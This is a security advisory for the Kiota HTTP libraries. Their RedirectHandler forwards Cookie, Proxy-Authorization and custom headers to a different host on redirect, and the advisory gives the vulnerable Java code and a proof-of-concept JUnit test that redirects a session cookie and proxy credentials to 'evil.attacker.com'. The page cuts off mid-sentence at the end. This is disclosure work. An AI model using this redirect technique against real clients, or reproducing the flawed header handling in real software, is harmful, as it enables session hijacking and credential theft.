Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
### Summary
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.
This vulnerability is present in the RedirectHandlers for:
https://github.com/microsoft/kiota-dotnet
https://github.com/microsoft/kiota-java
https://github.com/microsoft/kiota-python
https://github.com/microsoft/kiota-typescript
https://github.com/microsoft/kiota-http-go
### Details
Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.
This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.
Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:
```
boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}
```
### PoC
1. Clone the repository:
git clone --depth 1 https://github.com/microsoft/kiota-java.git
cd kiota-java
2. Create the PoC test file at:
components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java
With this content:
```
package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;
public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}
@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
```
3. Run the tests:
./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.
Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.
### Impact
The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.
Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.
Impact:
- Session hijacking via leaked Cookie headers
- Corporate proxy credential theft via leaked Proxy-Authorization
- API key theft via leaked custom auth headers (X-API-Key, etc.)
All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.
Same vulnerability as